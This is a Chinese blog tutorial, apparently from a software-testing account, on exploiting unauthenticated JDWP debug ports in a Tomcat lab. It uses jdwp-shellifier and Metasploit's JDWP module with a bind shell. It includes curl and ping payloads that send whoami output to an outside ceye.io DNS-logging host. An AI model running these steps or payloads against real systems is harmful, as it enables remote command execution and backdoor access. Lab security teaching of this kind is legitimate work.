JDWP未授权快速利用

JDWP简介

这里首先要说明一下 debugger 和 target vm。Target vm 中运行着我们希望要调试的程序,它与一般运行的 Java 虚拟机没有什么区别,只是在启动时加载了 Agent JDWP 从而具备了调试功能。而 debugger 就是我们熟知的调试器,它向运行中的 target vm 发送命令来获取 target vm 运行时的状态和控制 Java 程序的执行。Debugger 和 target vm 分别在各自的进程中运行,他们之间的通信协议就是 JDWP。

JDWP的握手协议

    JDWP 大致分为两个阶段:握手和应答。握手是在传输层连接建立完成后,做的第一件事,Debugger 发送 14 bytes 的字符串“JDWP-Handshake”到 target Java 虚拟机Target Java 虚拟机回复“JDWP-Handshake”

 

 

JDWPagent 在调试中扮演的角色

 

 

实验环境搭建

攻击机器kali IP:192.168.204.128

靶机centos7 IP:192.168.204.133

  • wget下载Tomcat安装包wgethttp://mirror.bit.edu.cn/apache/tomcat/tomcat-8/v8.5.43/bin/apache-tomcat-8.5.43.tar.gz

  • 解压安装包tar zxvf apache-tomcat-8.5.43.tar.gz

  • 将程序复制到指定运行目录sudo mv apache-tomcat-8.5.43 /usr/local/tomcat8

  • 进入bin目录 cd bin

  • 找到catalina.sh文件首行添加declare -xCATALINA_OPTS="-server -Xdebug -Xnoagent -Djava.compiler=NONE-Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8000"

  • 使用./startup.sh启动Tomcat

 

 

JDWP服务的指纹发现

我们先用namp扫描试试看

Nmap没有输出详细的端口服务,我们重新扫描一下

我们使用telnet ip port 然后快速发送JDWP-Handshake来进行简单验证是否存在未授权漏洞,如果服务器也返回了JDWP-Handshake那么十有八九就存在该漏洞了

漏洞利用办法

 

 

  • 使用jdwp-shellifier脚本进行命令执行

  • 使用metasploit进行漏洞利用

  • 使用IntelliJ IDEA编辑器进行利用(篇幅较大 准备下次细讲)

 

下面我们给大家演示使用jdwp-shellifier脚本对JDWP协议未授权访问漏洞进行命令执行操作,首先我们需要到达https://github.com/IOActive/jdwp-shellifier下载脚本

阅读作者的README.md就可以知道使用脚本的命令格式

我们来对我们的目标IP进行尝试利用

 

们使用dnslog尝试测试 工具网址http://ceye.io/records/dns

可以看到上面是没有返回目录信息的,下面我们通过ceye.io提供的测试payloads进行测试

Liunx常见payloads

curl http://ip.port.b182oj.ceye.io/`whoami`

ping `whoami`.ip.port.b182oj.ceye.io

windows常见payloads

ping%USERNAME%.b182oj.ceye.io

 

下面我们开始用Metasploit对JDWP这个漏洞进行利用

我们使用msfconsole启动Metasploit,并且选用exploit/multi/misc/java_jdwp_debugger漏洞利用模块

使用info可以查看当前的漏洞EXP信息

我们设置好靶机的IP和漏洞应用端口

划重点:

由于我们平常进行安全测试或者渗透测试工作,很多都在甲方工作,我们工作的网络环境会很复杂,笔者的笔记本接入到公司网络中的时候,准入软件和安全软件都不让我建立一个nc监听端口,通常我们测试的时候很多时候用KALI系统也没有内网IP,那么我们反弹的时候只有在公网建立一个Metasploit监听端口,一些环境做了网络隔离还不能连接公网,那么我们这个时候只有选用正向连接后门了,下面我画图给大家演示一下大概的意思。

常见木马分类

Msfvenom方便生成的常见的Meterpreter正向和反向连接后门

  • reverse_tcp

  • reverse_http

  • reverse_https

  • bind_tcp

  • 日常工作中常见的就是这几种类型的后门,其中只有bind_tcp是正向连接的

我们在当前的EXP中使用showpayloads查看该EXP支持哪些载荷也就是后门

我们设置EXP使用payloadlinux/x64/shell/bind_tcp载荷

现在我们所有的配置都完成了,最后只要输入run就可以直接执行了,下面我们看看执行的过程

 

通过以上内容我们简单的介绍了JDWP漏洞信息,也通过实例介绍了两种利用方法。jdwp-shellifier.py脚本的优点是容易部署和利用,缺点是没有执行回显。Metasploit的JDWP利用模块使用起来简单快捷并且可以执行系统命令,但是kali系统在一些环境中使用显得有些臃肿,平时自己用的时候针对相应场景选用即可。好了今天的文章就到这里了,不久我会写一篇使用IntelliJ IDEA编辑器进行利用JDWP漏洞,详细的描述一下漏洞的利用原理和经过。

 

(喜欢请转发,谢谢!)

加入爱测未来qq群,获取更专业的技术知识分享:

274166295  (爱测未来二群)

610934609  (爱测未来三群)

195730410  (爱测未来四群)

 

更多精彩文章:

移动端H5调试与自动化

Android兼容性测试应该怎么做逼格更高呢?

JVM性能调优

MTP-移动测试平台

性能分析之OS资源饱和度

前端性能监控

来自520的福利----视频直播平台性能测试

前端性能测试平台及应用

震惊性能测试圈的经典案例!!

在airtest中使用ocr反向识别文本内容

数据库性能分析与优化(爱测未来团队内训材料)

性能分析之激情的过程无奈的结局谈谈从事IT测试行业的我,对于买房买车有什么样的感受

关于性能测试认知的反思

性能测试中的硬件存储知识

一小时学会接口测试

性能平台之Jmeter通过influxdb在Grafana中的数据展现逻辑

——————————————————

   爱测未来公众号   WX:itest_forever

 

  测试之道 | 测试技术

长按识别二维码,关注爱测未来公众号,了解更多精彩内容

 


  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值